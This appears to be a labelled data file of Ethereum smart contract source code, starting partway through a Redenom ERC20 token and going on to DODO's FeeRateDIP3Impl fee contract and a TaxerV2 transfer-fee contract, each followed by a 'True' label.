dec[8-round+1].sub(toBalance); // Taking from burned decimal _totalSupply = _totalSupply.add(toBalance); // Add dividend to _totalSupply } accounts[account].lastRound = round; // Writting last round in wich user got dividends return accounts[account].balance; // returns new balance }else{ if( round == 9){ //100000000 = 9 mul (mul8) uint newBalance = fix_amount(accounts[account].balance); uint _diff = accounts[account].balance.sub(newBalance); if(_diff > 0){ renewDec( accounts[account].balance, newBalance ); accounts[account].balance = newBalance; emit Transfer(account, address(0), _diff); } accounts[account].lastRound = round; // Writting last round in wich user got dividends return accounts[account].balance; // returns new balance } } } } // Returns current multipl. based on round // Returns current multiplier based on round function current_mul() internal view returns(uint _current_mul){ return mul[round-1]; } // Removes burned values 123 -> 120 // Returns fixed function fix_amount(uint amount) public view returns(uint fixed_amount){ return ( amount / current_mul() ) * current_mul(); } // Returns rest function get_rest(uint amount) internal view returns(uint fixed_amount){ return amount % current_mul(); } // ------------------------------------------------------------------------ // ERC20 totalSupply: //------------------------------------------------------------------------- function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // ERC20 balanceOf: Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return accounts[tokenOwner].balance; } // ------------------------------------------------------------------------ // ERC20 allowance: // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // ERC20 transfer: // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(frozen == false); require(to != address(0)); require(bitmask_check(to, 1024) == false); // banned == false //Fixing amount, deleting burned decimals tokens = fix_amount(tokens); // Checking if greater then 0 require(tokens>0); //Refreshing accs, payng dividends updateAccount(to); updateAccount(msg.sender); uint fromOldBal = accounts[msg.sender].balance; uint toOldBal = accounts[to].balance; accounts[msg.sender].balance = accounts[msg.sender].balance.sub(tokens); accounts[to].balance = accounts[to].balance.add(tokens); require(renewDec(fromOldBal, accounts[msg.sender].balance)); require(renewDec(toOldBal, accounts[to].balance)); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // ERC20 approve: // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(frozen == false); require(bitmask_check(msg.sender, 1024) == false); // banned == false allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // ERC20 transferFrom: // Transfer `tokens` from the `from` account to the `to` account // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(frozen == false); require(bitmask_check(to, 1024) == false); // banned == false updateAccount(from); updateAccount(to); uint fromOldBal = accounts[from].balance; uint toOldBal = accounts[to].balance; accounts[from].balance = accounts[from].balance.sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); accounts[to].balance = accounts[to].balance.add(tokens); require(renewDec(fromOldBal, accounts[from].balance)); require(renewDec(toOldBal, accounts[to].balance)); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { require(frozen == false); require(bitmask_check(msg.sender, 1024) == false); // banned == false allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH https://github.com/ConsenSys/Ethereum-Development-Best-Practices/wiki/Fallback-functions-and-the-fundamental-limitations-of-using-send()-in-Ethereum-&-Solidity // ------------------------------------------------------------------------ function () public payable { revert(); } // OR function() payable { } to accept ETH // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { require(frozen == false); return ERC20Interface(tokenAddress).transfer(owner, tokens); } } // &#169; Musqogees Tech 2018, Redenom ™
True
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/** *Submitted for verification at Etherscan.io on 2021-12-28 */ // File: contracts/lib/InitializableOwnable.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/DODOFee/FeeRateDIP3Impl.sol interface ICrowdPooling { function _QUOTE_RESERVE_() external view returns (uint256); function getShares(address user) external view returns (uint256); } interface IFee { function getUserFee(address user) external view returns (uint256); } interface IQuota { function getUserQuota(address user) external view returns (int); } interface IPool { function version() external pure returns (string memory); function _LP_FEE_RATE_() external view returns (uint256); function _BASE_RESERVE_() external view returns (uint); function _QUOTE_RESERVE_() external view returns (uint); function _K_() external view returns (uint); } contract FeeRateDIP3Impl is InitializableOwnable { using SafeMath for uint256; // ============ Storage ============ uint256 public _LP_MT_RATIO_ = 25; struct CPPoolInfo { address quoteToken; int globalQuota; address feeAddr; address quotaAddr; } mapping(address => CPPoolInfo) cpPools; mapping(address => uint256) public specPoolList; // ============ Ownable Functions ============ function addCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner { CPPoolInfo memory cpPoolInfo = CPPoolInfo({ quoteToken: quoteToken, feeAddr: feeAddr, quotaAddr: quotaAddr, globalQuota: globalQuota }); cpPools[cpPool] = cpPoolInfo; } function setCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner { cpPools[cpPool].quoteToken = quoteToken; cpPools[cpPool].feeAddr = feeAddr; cpPools[cpPool].quotaAddr = quotaAddr; cpPools[cpPool].globalQuota = globalQuota; } function setLpMtRatio(uint256 newLpMtRatio) external onlyOwner { _LP_MT_RATIO_ = newLpMtRatio; } function setSpecPoolList (address poolAddr, uint256 mtFeeRate) public onlyOwner { specPoolList[poolAddr] = mtFeeRate; } // ============ View Functions ============ function getFeeRate(address pool, address user) external view returns (uint256) { try IPool(pool).version() returns (string memory poolVersion) { bytes32 hashPoolVersion = keccak256(abi.encodePacked(poolVersion)); if(_kjudge(hashPoolVersion)) { uint k = IPool(pool)._K_(); uint baseReserve = IPool(pool)._BASE_RESERVE_(); uint quoteReserve = IPool(pool)._QUOTE_RESERVE_(); require(!(k==0 && (baseReserve ==0 || quoteReserve == 0)), "KJUDGE_ERROR"); } if(specPoolList[pool] != 0) { return specPoolList[pool]; } if(_cp(hashPoolVersion)) { CPPoolInfo memory cpPoolInfo = cpPools[pool]; address quoteToken = cpPoolInfo.quoteToken; if(quoteToken == address(0)) { return 0; }else { uint256 userInput = IERC20(quoteToken).balanceOf(pool).sub(ICrowdPooling(pool)._QUOTE_RESERVE_()); uint256 userStake = ICrowdPooling(pool).getShares(user); address feeAddr = cpPoolInfo.feeAddr; address quotaAddr = cpPoolInfo.quotaAddr; int curQuota = cpPoolInfo.globalQuota; if(quotaAddr != address(0)) curQuota = IQuota(quotaAddr).getUserQuota(user); require(curQuota == -1 || (curQuota != -1 && int(userInput.add(userStake)) <= curQuota), "DODOFeeImpl: EXCEED_YOUR_QUOTA"); if(feeAddr == address(0)) { return 0; } else { return IFee(feeAddr).getUserFee(user); } } } else if(_dip3dvm(hashPoolVersion) || _dip3dsp(hashPoolVersion)) { uint256 lpFeeRate = IPool(pool)._LP_FEE_RATE_(); uint256 mtFeeRate = lpFeeRate.mul(_LP_MT_RATIO_).div(100); if(lpFeeRate.add(mtFeeRate) >= 10**18) { return 0; } else { return mtFeeRate; } } else { return 0; } } catch (bytes memory) { return 0; } } function getCPInfoByUser(address pool, address user) external view returns (bool isHaveCap, int curQuota, uint256 userFee) { CPPoolInfo memory cpPoolInfo = cpPools[pool]; if(cpPoolInfo.quoteToken == address(0)) { isHaveCap = false; curQuota = -1; userFee = 0; }else { address quotaAddr = cpPoolInfo.quotaAddr; curQuota = cpPoolInfo.globalQuota; if(quotaAddr != address(0)) curQuota = IQuota(quotaAddr).getUserQuota(user); if(curQuota == -1) { isHaveCap = false; }else { isHaveCap = true; uint256 userStake = ICrowdPooling(pool).getShares(user); curQuota = int(uint256(curQuota).sub(userStake)); } address feeAddr = cpPoolInfo.feeAddr; if(feeAddr == address(0)) { userFee = 0; } else { userFee = IFee(feeAddr).getUserFee(user); } } } function _cp(bytes32 _hashPoolVersion) internal pure returns (bool) { return (_hashPoolVersion == keccak256(abi.encodePacked("CP 1.0.0")) || _hashPoolVersion == keccak256(abi.encodePacked("CP 2.0.0"))); } function _dip3dvm(bytes32 _hashPoolVersion) internal pure returns (bool){ return (_hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.2")) || _hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.3"))); } function _dip3dsp(bytes32 _hashPoolVersion) internal pure returns (bool){ return (_hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.1")) || _hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.2"))); } function _kjudge(bytes32 _hashPoolVersion) internal pure returns (bool) { return (_hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.2")) || _hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.1")) || _hashPoolVersion == keccak256(abi.encodePacked("DPP 1.0.0"))); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-04-01 */ // File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol pragma solidity 0.6.12; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File: contracts/ITROP.sol pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IBaseToken { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); event Log(string log); } interface ITROP is IBaseToken { function taxer() external view returns (address); function rewardDistributor() external view returns (address); } // File: contracts/TaxerV2.sol pragma solidity 0.6.12; interface INerdVault { function getRemainingLP(uint256 _pid, address _user) external view returns (uint256); } interface INerdStaking { function getRemainingNerd(address _user) external view returns (uint256); } contract TaxerV2 is OwnableUpgradeSafe { using SafeMath for uint256; function initialize() public initializer { OwnableUpgradeSafe.__Ownable_init(); tropTokenAddress = 0x2eC75589856562646afE393455986CaD26c4Cc5f; feePercentX100 = 20; paused = false; // We start paused until sync post LGE happens. _editNoFeeList(tropTokenAddress, true); //this is to not apply fees for transfer from the token contrat itself nerdLpTokenMap[0x61E3FDF3Fb5808aCfd8b9cfE942c729c07b0fE21] = true; nerdLpTokenMap[0x3473C92d47A2226B1503dFe7C929b2aE454F6b22] = true; nerdLpTokenMap[0x7Ad060bd80E088F0c1adef7Aa50F4Df58BAf58d5] = true; nerdLpTokenList.push(0x3473C92d47A2226B1503dFe7C929b2aE454F6b22); nerdLpTokenList.push(0x61E3FDF3Fb5808aCfd8b9cfE942c729c07b0fE21); nerdLpTokenList.push(0x7Ad060bd80E088F0c1adef7Aa50F4Df58BAf58d5); } constructor() public { initialize(); } address tropTokenAddress; address tropVaultAddress; uint8 public feePercentX100; // max 255 = 25.5% artificial clamp bool paused; mapping(address => bool) public noFeeList; mapping(address => bool) public nerdLpTokenMap; address[] public nerdLpTokenList; //fee discounts based on nerd of the user, the snapshot is taken once per day bydefault, any one can update their own mapping(address => uint256) public feeDiscounts; mapping(address => uint256) public feeDiscountsLastUpdate; // TROP token is pausable function setPaused(bool _pause) public onlyOwner { paused = _pause; } function setNerdLPAddresses(address[] calldata _addrs) public onlyOwner { //reset old list for (uint256 i = 0; i < nerdLpTokenList.length; i++) { nerdLpTokenMap[nerdLpTokenList[i]] = false; } delete nerdLpTokenList; for (uint256 i = 0; i < _addrs.length; i++) { nerdLpTokenList.push(_addrs[i]); nerdLpTokenMap[_addrs[i]] = true; } } function setFeeMultiplier(uint8 _feeMultiplier) public onlyOwner { feePercentX100 = _feeMultiplier; } function setTropVaultAddress(address _tropVaultAddress) public onlyOwner { tropVaultAddress = _tropVaultAddress; noFeeList[tropVaultAddress] = true; } function editNoFeeList(address _address, bool noFee) public onlyOwner { _editNoFeeList(_address, noFee); } function _editNoFeeList(address _address, bool noFee) internal { noFeeList[_address] = noFee; } IERC20 public nerd = IERC20(0x32C868F6318D6334B2250F323D914Bc2239E4EeE); INerdVault public nerdVault = INerdVault( 0x47cE2237d7235Ff865E1C74bF3C6d9AF88d1bbfF ); INerdStaking public nerdStaking = INerdStaking( 0x357ADa6E0da1BB40668BDDd3E3aF64F472Cbd9ff ); //any one can update this function computeDiscountFee(address _sender, bool _forceUpdate) public returns (uint256) { if (nerdLpTokenMap[_sender]) return 0; //no discount for lp token if (!_forceUpdate) { if (feeDiscountsLastUpdate[_sender].add(86400) > block.timestamp) { return feeDiscounts[_sender]; } } //force update feeDiscountsLastUpdate[_sender] = block.timestamp; uint256 feeDiscount = 0; { uint256 poolLength = nerdLpTokenList.length; for (uint256 i = 0; i < poolLength; i++) { //lp amount uint256 lpAmount = nerdVault.getRemainingLP(i, _sender); uint256 lpSupply = IERC20(nerdLpTokenList[i]).balanceOf( address(nerdVault) ); uint256 shareX1000 = lpAmount.mul(1000).div(lpSupply); if (shareX1000 >= 10) { //share > 1% feeDiscounts[_sender] = 45; return 45; } else if (shareX1000 >= 1) { feeDiscount = 20; } } } { uint256 staked = nerdStaking.getRemainingNerd(_sender); if (staked >= 50e18) { feeDiscounts[_sender] = 30; return 30; } else if (staked >= 10e18) { feeDiscounts[_sender] = 20; return 20; } } if (feeDiscount >= 15) { feeDiscounts[_sender] = 15; return 15; } { uint256 nerdBal = nerd.balanceOf(_sender); if (nerdBal >= 50e18) { feeDiscounts[_sender] = 15; return 15; } else if (nerdBal >= 5e18) { feeDiscounts[_sender] = 10; return 10; } } return 0; } bool feeDiscountEnable = false; function setEnableFeeDiscount(bool _enable) external onlyOwner { feeDiscountEnable = _enable; } function calculateAmountsAfterFee( address sender, address recipient, // unusued maybe use din future uint256 amount ) public returns ( uint256 transferToAmount, uint256 transferToFeeDistributorAmount ) { require(paused == false, "FEE APPROVER: Transfers Paused"); //this is to prevent bad actors listing token on uniswap to create bad price before an official listing from the team if (noFeeList[sender] || noFeeList[recipient]) { // Dont have a fee when tropvault is sending, or infinite loop transferToFeeDistributorAmount = 0; transferToAmount = amount; } else { if (feePercentX100 > 0) { uint256 discountFeePercent = 0; if (feeDiscountEnable) { discountFeePercent = computeDiscountFee(sender, false); } transferToFeeDistributorAmount = amount.mul(feePercentX100).div( 1000 ); transferToFeeDistributorAmount = transferToFeeDistributorAmount .mul(100 - discountFeePercent) .div(100); transferToAmount = amount.sub(transferToFeeDistributorAmount); } else { transferToFeeDistributorAmount = 0; transferToAmount = amount; } } } }
True
